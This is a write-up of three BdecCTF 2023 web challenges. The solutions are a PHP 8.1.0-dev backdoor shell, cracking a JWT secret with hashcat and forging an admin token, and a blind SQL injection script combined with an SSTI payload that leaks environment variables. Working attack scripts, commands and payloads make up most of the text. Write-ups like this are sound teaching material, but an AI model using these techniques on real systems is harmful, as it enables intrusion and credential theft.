BdecCTF 2023 - webx3
Can you see me?
Description:
The description says quite a bit about php, so I focused on testing php but didn’t get much results. I noticed that the web application using PHP/8.1.0-dev
has a public exploit code.
Here is the PoC: PHP 8.1.0-dev - ‘User-Agentt’ Remote Code Execution
Solution:
┌──(taiwhis㉿kali)-[~/Downloads]
└─$ python 1.py
Enter the full host url:
http://139.144.184.115:8989/
Interactive shell is opened on http://139.144.184.115:8989/
Can't acces tty; job crontol turned off.
$ ls
index.php
$ ls /root
flag.txt
$ cat /root/flag.txt
BDSEC{php_15_7h3_b357_pr06r4mm1n6_l4n6u463}
What is 5 minus 4?
Description:
Solution: Try crack JWT to find secret
Cookie: access_token_cookie=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTY5MDIwMDYwNywianRpIjoiM2JjMzE5MDQtMmZlMy00MjAwLThmNzEtYTQyNmEyYjA5OTMyIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6OTY0MiwibmJmIjoxNjkwMjAwNjA3LCJleHAiOjE2OTAyMDE1MDd9.aQWBkU0Sn0vyHzdPy86g76UU_dWe-Tw14_EQKv8NNIY
i will use hashcat.
┌──(taiwhis㉿kali)-[~/Downloads]
└─$ hashcat -h | grep 16500
16500 | JWT (JSON Web Token) | Network Protocol
Run crack jwt:
┌──(taiwhis㉿kali)-[~/Downloads]
└─$ hashcat -a 0 -m 16500 1.txt wordlist.txt
hashcat (v6.2.6) starting
Secret key: this_is_a_dev_secret
now i can edit the jwt to elevate the account permissions.
now i will change the jwt in the sub
to 1
. is’s admin account.
Jwt after it was fixed.
Cookie: access_token_cookie=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6dHJ1ZSwiaWF0IjoxNjkwMjAzOTg5LCJqdGkiOiI4OWY3YjE4MC00Yzc5LTQxZTktODdhNi1jYzIxMmQ5MjY4NzciLCJ0eXBlIjoiYWNjZXNzIiwic3ViIjoxLCJuYmYiOjE2OTAyMDM5ODksImV4cCI6MTY5MDIwNDg4OX0.EF-tYblAP56RG2bWuhuc_KyDZgvELj4058M74pW2fVc
Using the modified JWT we can get the flag.
Script:
import requests
import string
import random
import jwt
url = "http://45.56.116.251:5050/"
secret = "this_is_a_dev_secret"
def session_requests(sess, method, endpoint, data=None):
try:
if method == 'POST':
response = sess.post(url + endpoint, data=data)
else:
response = sess.get(url + endpoint, data=data)
response.raise_for_status()
return response.text
except requests.exceptions.RequestException as e:
print(f"Have error: {e}")
return None
with requests.Session() as session:
username = ''.join(random.choices(string.ascii_letters + string.digits, k=3))
session_requests(session, 'POST', 'signup', { 'username':username,'name':username,'description':'lll','password':'lll' })
session_requests(session, 'POST', 'login', { 'username':username,'password':'lll' } )
old_jwt = session.cookies.get_dict()['access_token_cookie']
decode_jwt = jwt.decode(old_jwt, secret, algorithms=["HS256"])
decode_jwt['sub'] = 1 # sub of admin
new_jwt = jwt.encode(decode_jwt, secret, algorithm="HS256")
res = requests.get(url + 'profile', headers={ 'Cookie': 'access_token_cookie=' + new_jwt }) # request with another session
print(res.text)
Result:
┌──(taiwhis㉿kali)-[~]
└─$ python 1.py
<!DOCTYPE html>
<html>
.........
<div class="box">
<h1 class="title">
Welcome, admin
</h1>
<p class="content"> BDSEC{m4k3_y0ur_53cr37_k3y_57r0n63r} </p>
</div>
</div>
</div>
</section>
</body>
</html>
Injection
Description:
Source code here.
I didn’t solve this challenge, so after this CTF ended I consulted from everyone in discord. There is basically a 2022 CTF that has the same idea as this challenge. Refer click ductf-sqli2022.
My script solution:
output = cur.execute(
'SELECT * FROM users WHERE username = {data[username]!r} AND password = {data[password]!r}'
.format(data=data)
).fetchone()
in the source code contains a SQL injection vulnerability. I will try to focus mining here. However, FLAG is md5 encrypted and it is very likely that getting the flag will be difficult to decrypt.
Dump password admin
:
import requests
from hashlib import md5
import string
url = "http://139.144.184.115:1337/login"
session = requests.session()
password = ""
chars = string.digits + string.ascii_lowercase
for i in range(32):
for m in chars:
query = f'(SELECT hex(substr(password, {i+1}, 1)) FROM users WHERE username = "admin") = "{m.encode("utf-8").hex()}"'
data = { "username" : "aaa\"'","password" : f"OR {query};-- -" }
res = session.post(url, data)
if 'You cant Hack Uss!!!' in res.text:
password += m
print("Found: ", m)
print("Password", password)
Result:
┌──(taiwhis㉿kali)-[~]
└─$ python 2.py
Password: 98371fd6630a26b9f04d623a6ea3d0af
SSTI leaked environment variable:
You can see the username after being logged in will be returned here. Therefore, it can be used to insert the SSTI payload.
return f'Yoo!! {data["username"]}!'.format(data=data)
- To be able to display this message need:
- SQL must return a row from the database
- Also username and password must match the data in the database.
Solution script:
username:
"\'UNION SELECT printf(char(34,92,39)||s,char(34),s,char(34)),1||1 FROM(SELECT"UNION SELECT printf(char(34,92,39)||s,char(34),s,char(34)),1||1 FROM(SELECT%c%s%cs)--{data.__class__.__copy__.__globals__[mimetypes].os.environ[FLAG]}"s)--
Flag: BDSEC{f1nj3c710n5_4r3_p41nful}
Comments